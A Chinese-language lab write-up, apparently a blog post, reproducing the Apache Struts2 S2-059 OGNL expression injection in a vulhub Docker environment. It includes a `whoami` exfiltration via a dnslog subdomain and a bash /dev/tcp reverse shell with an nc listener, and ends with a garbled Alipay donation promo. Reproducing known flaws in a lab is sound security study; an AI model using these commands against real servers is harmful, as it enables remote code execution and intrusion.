str2介绍
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
st2-059介绍
2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
漏洞复现
vulunmb拉环境
旧版本可能没有st2-059环境 例如我
git clone https://github.com/vulhub/vulhub.git
更新一下
然后切换 进行启docker
vulhub/struts2/s2-059
docker-compose up -d
启动完 大概就长这个样子
exp来自这个地方
https://vulhub.org/#/environments/struts2/s2-059/
官网给的exp是没有回显的
可以进行修改 修改为ping dnslog.cn 这个可以直接执行
坑点 由于是java的需要进行编码 将其名带外输出
`whoami`.p8dn2s.dnslog.cn
exp打一下 python exp.py
下一步就是反弹端口了
bash -i >& /dev/tcp/ip/端口 0>&1
然后加层编码
nc监听 nc -lvvp 1234
替换exp 一下
反弹成功 关于sr2-061传闻是059的绕过 等我研究好了 然后复现
师傅们要是想支持一下 公众号
支付宝扫一下这个图片 或者复制 下面的话到支付宝就行
13激活医保码得红包 就医购药免带卡 http:/1ObsJRU39lp【长按.fu.治此条消息,DA锎支ィ寸bao首页搜索粘贴】
本文始发于微信公众号(阿乐你好):str2-059漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论